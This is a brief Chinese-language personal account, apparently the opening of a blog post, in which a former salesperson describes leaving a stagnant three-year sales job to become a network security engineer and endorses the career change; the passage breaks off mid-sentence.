    我曾经是一名普通的销售人员,工作了三年,每天重复着相同的工作内容,感觉自己的职业生涯停滞不前,毫无发展前景。我开始思考,如何才能让自己的职业生涯更有意义,更具有挑战性。经过一番调研,我决定转行网络安全工程师。工作了越久,越觉得当初转行网络安全的决定还是非常正确的。目......